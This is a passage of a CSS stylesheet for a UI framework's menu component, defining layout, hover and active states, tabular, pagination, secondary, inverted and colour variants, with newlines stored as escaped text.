#ffffff;\n  margin-left: 1em;\n  padding: 0.3em 0.71428571em;\n}\n\n.ui.vertical.menu .item > .label {\n  background: #999999;\n  color: #ffffff;\n  margin-top: -0.15em;\n  margin-bottom: -0.15em;\n  padding: 0.3em 0.71428571em;\n}\n\n.ui.menu .item > .label:before {\n  background-color: #999999;\n}\n\n.ui.menu .item > .floating.label {\n  padding: 0.3em 0.71428571em;\n}\n\n/*--------------\n     Images\n---------------*/\n\n.ui.menu .item > img:not(.ui) {\n  display: inline-block;\n  vertical-align: middle;\n  margin: -0.3em 0em;\n  width: 2.5em;\n}\n\n.ui.vertical.menu .item > img:not(.ui):only-child {\n  display: block;\n  max-width: 100%;\n  width: auto;\n}\n\n/*******************************\n          Coupling\n*******************************/\n\n/*--------------\n     Sidebar\n---------------*/\n\n/* Show vertical dividers below last */\n\n.ui.vertical.sidebar.menu > .item:first-child:before {\n  display: block !important;\n}\n\n.ui.vertical.sidebar.menu > .item::before {\n  top: auto;\n  bottom: 0px;\n}\n\n/*--------------\n    Container\n---------------*/\n\n@media only screen and (max-width: 767px) {\n  .ui.menu > .ui.container {\n    width: 100%;\n    margin-left: 0em !important;\n    margin-right: 0em !important;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.menu:not(.secondary):not(.text):not(.tabular):not(.borderless) > .container > .item:not(.right):not(.borderless):first-child {\n    border-left: 1px solid rgba(34, 36, 38, 0.1);\n  }\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------\n      Hover\n---------------*/\n\n.ui.link.menu .item:hover,\n.ui.menu .dropdown.item:hover,\n.ui.menu .link.item:hover,\n.ui.menu a.item:hover {\n  cursor: pointer;\n  background: rgba(0, 0, 0, 0.03);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Pressed\n---------------*/\n\n.ui.link.menu .item:active,\n.ui.menu .link.item:active,\n.ui.menu a.item:active {\n  background: rgba(0, 0, 0, 0.03);\n  color: rgba(0, 0, 0, 0.9);\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.menu .active.item {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n  font-weight: normal;\n  box-shadow: none;\n}\n\n.ui.menu .active.item > i.icon {\n  opacity: 1;\n}\n\n/*--------------\n  Active Hover\n---------------*/\n\n.ui.menu .active.item:hover,\n.ui.vertical.menu .active.item:hover {\n  background-color: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Disabled\n---------------*/\n\n.ui.menu .item.disabled,\n.ui.menu .item.disabled:hover {\n  cursor: default;\n  background-color: transparent !important;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*------------------\nFloated Menu / Item\n-------------------*/\n\n/* Left Floated */\n\n.ui.menu:not(.vertical) .left.item,\n.ui.menu:not(.vertical) .left.menu {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin-right: auto !important;\n}\n\n/* Right Floated */\n\n.ui.menu:not(.vertical) .right.item,\n.ui.menu:not(.vertical) .right.menu {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin-left: auto !important;\n}\n\n/* Swapped Borders */\n\n.ui.menu .right.item::before,\n.ui.menu .right.menu > .item::before {\n  right: auto;\n  left: 0;\n}\n\n/*--------------\n    Vertical\n---------------*/\n\n.ui.vertical.menu {\n  display: block;\n  background: #ffffff;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n}\n\n/*--- Item ---*/\n\n.ui.vertical.menu .item {\n  display: block;\n  background: none;\n  border-top: none;\n  border-right: none;\n}\n\n.ui.vertical.menu > .item:first-child {\n  border-radius: 0.28571429rem 0.28571429rem 0px 0px;\n}\n\n.ui.vertical.menu > .item:last-child {\n  border-radius: 0px 0px 0.28571429rem 0.28571429rem;\n}\n\n/*--- Label ---*/\n\n.ui.vertical.menu .item > .label {\n  float: right;\n  text-align: center;\n}\n\n/*--- Icon ---*/\n\n.ui.vertical.menu .item > i.icon {\n  width: 1.18em;\n  float: right;\n  margin: 0em 0em 0em 0.5em;\n}\n\n.ui.vertical.menu .item > .label + i.icon {\n  float: none;\n  margin: 0em 0.5em 0em 0em;\n}\n\n/*--- Border ---*/\n\n.ui.vertical.menu .item:before {\n  position: absolute;\n  content: '';\n  top: 0%;\n  left: 0px;\n  width: 100%;\n  background: rgba(34, 36, 38, 0.1);\n  height: 1px;\n}\n\n.ui.vertical.menu .item:first-child:before {\n  display: none !important;\n}\n\n/*--- Sub Menu ---*/\n\n.ui.vertical.menu .item > .menu {\n  margin: 0.5em -1.14285714em 0em;\n}\n\n.ui.vertical.menu .menu .item {\n  background: none;\n  padding: 0.5em 1.33333333em;\n  font-size: 0.85714286em;\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.ui.vertical.menu .item .menu a.item:hover,\n.ui.vertical.menu .item .menu .link.item:hover {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.vertical.menu .menu .item:before {\n  display: none;\n}\n\n/* Vertical Active */\n\n.ui.vertical.menu .active.item {\n  background: rgba(0, 0, 0, 0.05);\n  border-radius: 0em;\n  box-shadow: none;\n}\n\n.ui.vertical.menu > .active.item:first-child {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui.vertical.menu > .active.item:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n.ui.vertical.menu > .active.item:only-child {\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.vertical.menu .active.item .menu .active.item {\n  border-left: none;\n}\n\n.ui.vertical.menu .item .menu .active.item {\n  background-color: transparent;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Tabular\n---------------*/\n\n.ui.tabular.menu {\n  background-color: transparent;\n  border-radius: 0em;\n  box-shadow: none !important;\n  border: none;\n  border-bottom: 1px solid #d4d4d5;\n}\n\n.ui.tabular.fluid.menu {\n  width: calc(100% +  2px ) !important;\n}\n\n.ui.tabular.menu .item {\n  background-color: transparent;\n  border-left: 1px solid transparent;\n  border-right: 1px solid transparent;\n  border-top: 2px solid transparent;\n  border-bottom: none;\n  padding-left: 1.42857143em;\n  padding-right: 1.42857143em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.tabular.menu .item:before {\n  display: none;\n}\n\n/* Hover */\n\n.ui.tabular.menu .item:hover {\n  background-color: transparent;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/* Active */\n\n.ui.tabular.menu .active.item {\n  background-color: #ffffff;\n  color: rgba(0, 0, 0, 0.95);\n  border-top-width: 1px;\n  border-color: #d4d4d5;\n  font-weight: bold;\n  margin-bottom: -1px;\n  box-shadow: none;\n  border-radius: 0.28571429rem 0.28571429rem 0px 0px !important;\n}\n\n/* Coupling with segment for attachment */\n\n.ui.tabular.menu + .bottom.attached.segment,\n.ui.tabular.menu ~ .bottom.attached.segment + .bottom.attached.segment {\n  border-top: none;\n  margin: 0px;\n  width: 100%;\n}\n\n/* Vertical Tabular */\n\n.ui.vertical.tabular.menu {\n  background-color: transparent;\n  border-radius: 0em;\n  box-shadow: none !important;\n  border-bottom: none;\n  border-right: 1px solid #d4d4d5;\n}\n\n.ui.vertical.tabular.menu .item {\n  background: none;\n  border-left: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  border-top: 1px solid transparent;\n  border-right: none;\n}\n\n/* Active */\n\n.ui.vertical.tabular.menu .active.item {\n  background-color: #ffffff;\n  color: rgba(0, 0, 0, 0.95);\n  border-color: #d4d4d5;\n  margin: 0px -1px 0px 0px;\n  border-radius: 0.28571429rem 0px 0px 0.28571429rem !important;\n}\n\n/* Dropdown */\n\n.ui.tabular.menu .active.dropdown.item {\n  margin-bottom: 0px;\n  border-left: 1px solid transparent;\n  border-right: 1px solid transparent;\n  border-top: 2px solid transparent;\n  border-bottom: none;\n}\n\n/*--------------\n   Pagination\n---------------*/\n\n.ui.pagination.menu {\n  margin: 0em;\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.ui.pagination.menu .item:last-child {\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.compact.menu .item:last-child {\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.pagination.menu .item:last-child:before {\n  display: none;\n}\n\n.ui.pagination.menu .item {\n  min-width: 3em;\n  text-align: center;\n}\n\n.ui.pagination.menu .icon.item i.icon {\n  vertical-align: top;\n}\n\n/* Active */\n\n.ui.pagination.menu .active.item {\n  border-top: none;\n  padding-top: 0.92857143em;\n  background-color: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n  box-shadow: none;\n}\n\n/*--------------\n   Secondary\n---------------*/\n\n.ui.secondary.menu {\n  background: none;\n  margin-left: -0.35714286em;\n  margin-right: -0.35714286em;\n  border-radius: 0em;\n  border: none;\n  box-shadow: none;\n}\n\n/* Item */\n\n.ui.secondary.menu .item {\n  -webkit-align-self: center;\n  -ms-flex-item-align: center;\n  align-self: center;\n  box-shadow: none;\n  border: none;\n  padding: 0.71428571em 0.92857143em;\n  margin: 0em 0.35714286em;\n  background: none;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n  border-radius: 0.28571429rem;\n}\n\n/* No Divider */\n\n.ui.secondary.menu .item:before {\n  display: none !important;\n}\n\n/* Header */\n\n.ui.secondary.menu .header.item {\n  border-radius: 0em;\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n  background: none transparent;\n}\n\n/* Image */\n\n.ui.secondary.menu .item > img:not(.ui) {\n  margin: 0em;\n}\n\n/* Hover */\n\n.ui.secondary.menu .dropdown.item:hover,\n.ui.secondary.menu .link.item:hover,\n.ui.secondary.menu a.item:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Active */\n\n.ui.secondary.menu .active.item {\n  box-shadow: none;\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n  border-radius: 0.28571429rem;\n}\n\n/* Active Hover */\n\n.ui.secondary.menu .active.item:hover {\n  box-shadow: none;\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Inverted */\n\n.ui.secondary.inverted.menu .link.item,\n.ui.secondary.inverted.menu a.item {\n  color: rgba(255, 255, 255, 0.7) !important;\n}\n\n.ui.secondary.inverted.menu .dropdown.item:hover,\n.ui.secondary.inverted.menu .link.item:hover,\n.ui.secondary.inverted.menu a.item:hover {\n  background: rgba(255, 255, 255, 0.08);\n  color: #ffffff !important;\n}\n\n.ui.secondary.inverted.menu .active.item {\n  background: rgba(255, 255, 255, 0.15);\n  color: #ffffff !important;\n}\n\n/* Fix item margins */\n\n.ui.secondary.item.menu {\n  margin-left: 0em;\n  margin-right: 0em;\n}\n\n.ui.secondary.item.menu .item:last-child {\n  margin-right: 0em;\n}\n\n.ui.secondary.attached.menu {\n  box-shadow: none;\n}\n\n/*---------------------\n   Secondary Vertical\n-----------------------*/\n\n.ui.secondary.vertical.menu > .item {\n  border: none;\n  margin: 0em 0em 0.35714286em;\n  border-radius: 0.28571429rem !important;\n}\n\n.ui.secondary.vertical.menu > .header.item {\n  border-radius: 0em;\n}\n\n/* Sub Menu */\n\n.ui.vertical.secondary.menu .item > .menu .item {\n  background-color: transparent;\n}\n\n/* Inverted */\n\n.ui.secondary.inverted.menu {\n  background-color: transparent;\n}\n\n/*---------------------\n   Secondary Pointing\n-----------------------*/\n\n.ui.secondary.pointing.menu {\n  margin-left: 0em;\n  margin-right: 0em;\n  border-bottom: 2px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.secondary.pointing.menu .item {\n  border-bottom-color: transparent;\n  border-bottom-style: solid;\n  border-radius: 0em;\n  -webkit-align-self: flex-end;\n  -ms-flex-item-align: end;\n  align-self: flex-end;\n  margin: 0em 0em -2px;\n  padding: 0.85714286em 1.14285714em;\n  border-bottom-width: 2px;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n/* Item Types */\n\n.ui.secondary.pointing.menu .header.item {\n  color: rgba(0, 0, 0, 0.85) !important;\n}\n\n.ui.secondary.pointing.menu .text.item {\n  box-shadow: none !important;\n}\n\n.ui.secondary.pointing.menu .item:after {\n  display: none;\n}\n\n/* Hover */\n\n.ui.secondary.pointing.menu .dropdown.item:hover,\n.ui.secondary.pointing.menu .link.item:hover,\n.ui.secondary.pointing.menu a.item:hover {\n  background-color: transparent;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Pressed */\n\n.ui.secondary.pointing.menu .dropdown.item:active,\n.ui.secondary.pointing.menu .link.item:active,\n.ui.secondary.pointing.menu a.item:active {\n  background-color: transparent;\n  border-color: rgba(34, 36, 38, 0.15);\n}\n\n/* Active */\n\n.ui.secondary.pointing.menu .active.item {\n  background-color: transparent;\n  box-shadow: none;\n  border-color: #1b1c1d;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Active Hover */\n\n.ui.secondary.pointing.menu .active.item:hover {\n  border-color: #1b1c1d;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Active Dropdown */\n\n.ui.secondary.pointing.menu .active.dropdown.item {\n  border-color: transparent;\n}\n\n/* Vertical Pointing */\n\n.ui.secondary.vertical.pointing.menu {\n  border-bottom-width: 0px;\n  border-right-width: 2px;\n  border-right-style: solid;\n  border-right-color: rgba(34, 36, 38, 0.15);\n}\n\n.ui.secondary.vertical.pointing.menu .item {\n  border-bottom: none;\n  border-right-style: solid;\n  border-right-color: transparent;\n  border-radius: 0em !important;\n  margin: 0em -2px 0em 0em;\n  border-right-width: 2px;\n}\n\n/* Vertical Active */\n\n.ui.secondary.vertical.pointing.menu .active.item {\n  border-color: #1b1c1d;\n}\n\n/* Inverted */\n\n.ui.secondary.inverted.pointing.menu {\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.ui.secondary.inverted.pointing.menu {\n  border-width: 2px;\n  border-color: rgba(34, 36, 38, 0.15);\n}\n\n.ui.secondary.inverted.pointing.menu .item {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.secondary.inverted.pointing.menu .header.item {\n  color: #ffffff !important;\n}\n\n/* Hover */\n\n.ui.secondary.inverted.pointing.menu .item:hover {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Active */\n\n.ui.secondary.inverted.pointing.menu .active.item {\n  border-color: #ffffff;\n  color: #ffffff;\n}\n\n/*--------------\n    Text Menu\n---------------*/\n\n.ui.text.menu {\n  background: none transparent;\n  border-radius: 0px;\n  box-shadow: none;\n  border: none;\n  margin: 1.14285714em -0.5em;\n}\n\n.ui.text.menu .item {\n  padding: 0em;\n  border-radius: 0px;\n  box-shadow: none;\n  -webkit-align-self: center;\n  -ms-flex-item-align: center;\n  align-self: center;\n  margin: 0em 0.5em;\n  font-weight: normal;\n  color: rgba(0, 0, 0, 0.6);\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\n/* Sub Menu */\n\n.ui.vertical.text.menu > .menu {\n  margin: 0em;\n}\n\n/* Border */\n\n.ui.text.menu .item:before,\n.ui.text.menu .menu .item:before {\n  display: none !important;\n}\n\n/* Header */\n\n.ui.text.menu .header.item {\n  background-color: transparent;\n  padding: 0em;\n  opacity: 1;\n  color: rgba(0, 0, 0, 0.85);\n  font-size: 0.92857143em;\n  text-transform: uppercase;\n  font-weight: bold;\n}\n\n/* Image */\n\n.ui.text.menu .item > img:not(.ui) {\n  margin: 0em;\n}\n\n/*--- fluid text ---*/\n\n.ui.text.item.menu .item {\n  margin: 0em;\n}\n\n/*--- vertical text ---*/\n\n.ui.vertical.text.menu {\n  margin: 1em 0em;\n}\n\n.ui.vertical.text.menu:first-child {\n  margin-top: 0rem;\n}\n\n.ui.vertical.text.menu:last-child {\n  margin-bottom: 0rem;\n}\n\n.ui.vertical.text.menu .item {\n  margin: 0.57142857em 0em;\n}\n\n.ui.vertical.text.menu .item > i.icon {\n  float: none;\n  margin: 0em 0.35714286em 0em 0em;\n}\n\n.ui.vertical.text.menu .header.item {\n  margin: 0.57142857em 0em 0.71428571em;\n}\n\n/*--- hover ---*/\n\n.ui.text.menu .item:hover {\n  opacity: 1;\n  background-color: transparent;\n}\n\n/*--- active ---*/\n\n.ui.text.menu .active.item {\n  background-color: transparent;\n  padding: 0em;\n  border: none;\n  box-shadow: none;\n  font-weight: normal;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--- active hover ---*/\n\n.ui.text.menu .active.item:hover {\n  background-color: transparent;\n}\n\n/* Disable Bariations */\n\n.ui.text.pointing.menu .active.item:after {\n  box-shadow: none;\n}\n\n.ui.text.attached.menu {\n  box-shadow: none;\n}\n\n/* Inverted */\n\n.ui.inverted.text.menu,\n.ui.inverted.text.menu .item,\n.ui.inverted.text.menu .item:hover,\n.ui.inverted.text.menu .active.item {\n  background-color: transparent !important;\n}\n\n/* Fluid */\n\n.ui.fluid.text.menu {\n  margin-left: 0em;\n  margin-right: 0em;\n}\n\n/*--------------\n    Icon Only\n---------------*/\n\n.ui.icon.menu .item {\n  height: auto;\n  text-align: center;\n  color: #1b1c1d;\n}\n\n.ui.icon.menu .item > .icon {\n  margin: 0em;\n  opacity: 1;\n}\n\n.ui.vertical.icon.menu .item > .icon:not(.dropdown) {\n  display: block;\n  margin: 0em auto;\n  float: none;\n}\n\n.ui.icon.menu .icon:before {\n  opacity: 1;\n}\n\n/* Item Icon Only */\n\n.ui.menu .icon.item > .icon {\n  width: auto;\n  margin: 0em auto;\n}\n\n/* Vertical */\n\n.ui.vertical.icon.menu {\n  width: auto;\n}\n\n/* Inverted */\n\n.ui.inverted.icon.menu .item {\n  color: #ffffff;\n}\n\n/*--------------\n   Labeled Icon\n---------------*/\n\n.ui.labeled.icon.menu {\n  text-align: center;\n}\n\n.ui.fluid.labeled.icon.menu .item {\n  min-width: 0em;\n}\n\n.ui.labeled.icon.menu .item {\n  min-width: 6em;\n}\n\n.ui.labeled.icon.menu:not(.vertical) .item {\n  padding-left: 1.71428571em;\n  padding-right: 1.71428571em;\n}\n\n.ui.labeled.icon.menu .item > .icon:not(.dropdown) {\n  height: 1em;\n  display: block;\n  font-size: 1.42857143em !important;\n  margin: 0em 0.5rem 0em 0em !important;\n}\n\n.ui.vertical.labeled.icon.menu .item > .icon:not(.dropdown) {\n  margin: 0em auto 0.5rem !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n    Stackable\n---------------*/\n\n@media only screen and (max-width: 767px) {\n  .ui.stackable.menu {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n  }\n\n  .ui.stackable.menu .item {\n    width: 100% !important;\n  }\n\n  .ui.stackable.menu .item:before {\n    position: absolute;\n    content: '';\n    top: auto;\n    bottom: 0px;\n    left: 0px;\n    width: 100%;\n    background: rgba(34, 36, 38, 0.1);\n    height: 1px;\n  }\n}\n\n/*--------------\n     Colors\n---------------*/\n\n/*--- Standard Colors  ---*/\n\n.ui.menu .red.active.item,\n.ui.red.menu .active.item {\n  border-color: #db2828 !important;\n  color: #db2828 !important;\n}\n\n.ui.menu .orange.active.item,\n.ui.orange.menu .active.item {\n  border-color: #f2711c !important;\n  color: #f2711c !important;\n}\n\n.ui.menu .yellow.active.item,\n.ui.yellow.menu .active.item {\n  border-color: #fbbd08 !important;\n  color: #fbbd08 !important;\n}\n\n.ui.menu .olive.active.item,\n.ui.olive.menu .active.item {\n  border-color: #b5cc18 !important;\n  color: #b5cc18 !important;\n}\n\n.ui.menu .green.active.item,\n.ui.green.menu .active.item {\n  border-color: #21ba45 !important;\n  color: #21ba45 !important;\n}\n\n.ui.menu .teal.active.item,\n.ui.teal.menu .active.item {\n  border-color: #00b5ad !important;\n  color: #00b5ad !important;\n}\n\n.ui.menu .blue.active.item,\n.ui.blue.menu .active.item {\n  border-color: #2185d0 !important;\n  color: #2185d0 !important;\n}\n\n.ui.menu .violet.active.item,\n.ui.violet.menu .active.item {\n  border-color: #6435c9 !important;\n  color: #6435c9 !important;\n}\n\n.ui.menu .purple.active.item,\n.ui.purple.menu .active.item {\n  border-color: #a333c8 !important;\n  color: #a333c8 !important;\n}\n\n.ui.menu .pink.active.item,\n.ui.pink.menu .active.item {\n  border-color: #e03997 !important;\n  color: #e03997 !important;\n}\n\n.ui.menu .brown.active.item,\n.ui.brown.menu .active.item {\n  border-color: #a5673f !important;\n  color: #a5673f !important;\n}\n\n.ui.menu .grey.active.item,\n.ui.grey.menu .active.item {\n  border-color: #767676 !important;\n  color: #767676 !important;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n.ui.inverted.menu {\n  border: 1px solid transparent;\n  background: #1b1c1d;\n  box-shadow: none;\n}\n\n/* Menu Item */\n\n.ui.inverted.menu .item,\n.ui.inverted.menu .item > a:not(.ui) {\n  background: transparent;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.menu .item.menu {\n  background: transparent;\n}\n\n/*--- Border ---*/\n\n.ui.inverted.menu .item:before {\n  background: rgba(255, 255, 255, 0.08);\n}\n\n.ui.vertical.inverted.menu .item:before {\n  background: rgba(255, 255, 255, 0.08);\n}\n\n/* Sub Menu */\n\n.ui.vertical.inverted.menu .menu .item,\n.ui.vertical.inverted.menu .menu .item a:not(.ui) {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n/* Header */\n\n.ui.inverted.menu .header.item {\n  margin: 0em;\n  background: transparent;\n  box-shadow: none;\n}\n\n/* Disabled */\n\n.ui.inverted.menu .item.disabled,\n.ui.inverted.menu .item.disabled:hover {\n  color: rgba(225, 225, 225, 0.3);\n}\n\n/*--- Hover ---*/\n\n.ui.link.inverted.menu .item:hover,\n.ui.inverted.menu .dropdown.item:hover,\n.ui.inverted.menu .link.item:hover,\n.ui.inverted.menu a.item:hover {\n  background: rgba(255, 255, 255, 0.08);\n  color: #ffffff;\n}\n\n.ui.vertical.inverted.menu .item .menu a.item:hover,\n.ui.vertical.inverted.menu .item .menu .link.item:hover {\n  background: transparent;\n  color: #ffffff;\n}\n\n/*--- Pressed ---*/\n\n.ui.inverted.menu a.item:active,\n.ui.inverted.menu .link.item:active,\n.ui.inverted.menu a.item:active {\n  background: rgba(255, 255, 255, 0.08);\n  color: #ffffff;\n}\n\n/*--- Active ---*/\n\n.ui.inverted.menu .active.item {\n  background: rgba(255, 255, 255, 0.15);\n  color: #ffffff !important;\n}\n\n.ui.inverted.vertical.menu .item .menu .active.item {\n  background: transparent;\n  color: #ffffff;\n}\n\n.ui.inverted.pointing.menu .active.item:after {\n  background: #3d3e3f !important;\n  margin: 0em !important;\n  box-shadow: none !important;\n  border: none !important;\n}\n\n/*--- Active Hover ---*/\n\n.ui.inverted.menu .active.item:hover {\n  background: rgba(255, 255, 255, 0.15);\n  color: #ffffff !important;\n}\n\n.ui.inverted.pointing.menu .active.item:hover:after {\n  background: #3d3e3f !important;\n}\n\n/*--------------\n     Floated\n---------------*/\n\n.ui.floated.menu {\n  float: left;\n  margin: 0rem 0.5rem 0rem 0rem;\n}\n\n.ui.floated.menu .item:last-child:before {\n  display: none;\n}\n\n.ui.right.floated.menu {\n  float: right;\n  margin: 0rem 0rem 0rem 0.5rem;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n/* Red */\n\n.ui.inverted.red.menu {\n  background-color: #db2828;\n}\n\n.ui.inverted.red.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.red.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Orange */\n\n.ui.inverted.orange.menu {\n  background-color: #f2711c;\n}\n\n.ui.inverted.orange.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.orange.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Yellow */\n\n.ui.inverted.yellow.menu {\n  background-color: #fbbd08;\n}\n\n.ui.inverted.yellow.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.yellow.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Olive */\n\n.ui.inverted.olive.menu {\n  background-color: #b5cc18;\n}\n\n.ui.inverted.olive.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.olive.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Green */\n\n.ui.inverted.green.menu {\n  background-color: #21ba45;\n}\n\n.ui.inverted.green.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.green.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Teal */\n\n.ui.inverted.teal.menu {\n  background-color: #00b5ad;\n}\n\n.ui.inverted.teal.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.teal.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Blue */\n\n.ui.inverted.blue.menu {\n  background-color: #2185d0;\n}\n\n.ui.inverted.blue.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.blue.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Violet */\n\n.ui.inverted.violet.menu {\n  background-color: #6435c9;\n}\n\n.ui.inverted.violet.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.violet.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Purple */\n\n.ui.inverted.purple.menu {\n  background-color: #a333c8;\n}\n\n.ui.inverted.purple.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.purple.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Pink */\n\n.ui.inverted.pink.menu {\n  background-color: #e03997;\n}\n\n.ui.inverted.pink.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.pink.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Brown */\n\n.ui.inverted.brown.menu {\n  background-color: #a5673f;\n}\n\n.ui.inverted.brown.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.brown.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/* Grey */\n\n.ui.inverted.grey.menu {\n  background-color: #767676;\n}\n\n.ui.inverted.grey.menu .item:before {\n  background-color: rgba(34, 36, 38, 0.1);\n}\n\n.ui.inverted.grey.menu .active.item {\n  background-color: rgba(0, 0, 0, 0.1) !important;\n}\n\n/*--------------\n     Fitted\n---------------*/\n\n.ui.fitted.menu .item,\n.ui.fitted.menu .item .menu .item,\n.ui.menu .fitted.item {\n  padding: 0em;\n}\n\n.ui.horizontally.fitted.menu .item,\n.ui.horizontally.fitted.menu .item .menu .item,\n.ui.menu .horizontally.fitted.item {\n  padding-top: 0.92857143em;\n  padding-bottom: 0.92857143em;\n}\n\n.ui.vertically.fitted.menu .item,\n.ui.vertically.fitted.menu .item .menu .item,\n.ui.menu .vertically.fitted.item {\n  padding-left: 1.14285714em;\n  padding-right: 1.14285714em;\n}\n\n/*--------------\n   Borderless\n---------------*/\n\n.ui.borderless.menu .item:before,\n.ui.borderless.menu .item .menu .item:before,\n.ui.menu .borderless.item:before {\n  background: none !important;\n}\n\n/*-------------------\n       Compact\n--------------------*/\n\n.ui.compact.menu {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  margin: 0em;\n  vertical-align: middle;\n}\n\n.ui.compact.menu .item:last-child {\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.compact.menu .item:last-child:before {\n  display: none;\n}\n\n.ui.compact.vertical.menu {\n  width: auto !important;\n}\n\n.ui.compact.vertical.menu .item:last-child::before {\n  display: block;\n}\n\n/*-------------------\n        Fluid\n--------------------*/\n\n.ui.menu.fluid,\n.ui.vertical.menu.fluid {\n  width: 100% !important;\n}\n\n/*-------------------\n      Evenly Sized\n--------------------*/\n\n.ui.item.menu,\n.ui.item.menu .item {\n  width: 100%;\n  padding-left: 0px !important;\n  padding-right: 0px !important;\n  text-align: center;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n.ui.item.menu .item:last-child:before {\n  display: none;\n}\n\n.ui.menu.two.item .item {\n  width: 50%;\n}\n\n.ui.menu.three.item .item {\n  width: 33.333%;\n}\n\n.ui.menu.four.item .item {\n  width: 25%;\n}\n\n.ui.menu.five.item .item {\n  width: 20%;\n}\n\n.ui.menu.six.item .item {\n  width: 16.666%;\n}\n\n.ui.menu.seven.item .item {\n  width: 14.285%;\n}\n\n.ui.menu.eight.item .item {\n  width: 12.500%;\n}\n\n.ui.menu.nine.item .item {\n  width: 11.11%;\n}\n\n.ui.menu.ten.item .item {\n  width: 10.0%;\n}\n\n.ui.menu.eleven.item .item {\n  width: 9.09%;\n}\n\n.ui.menu.twelve.item .item {\n  width: 8.333%;\n}\n\n/*--------------\n     Fixed\n---------------*/\n\n.ui.menu.fixed {\n  position: fixed;\n  z-index: 101;\n  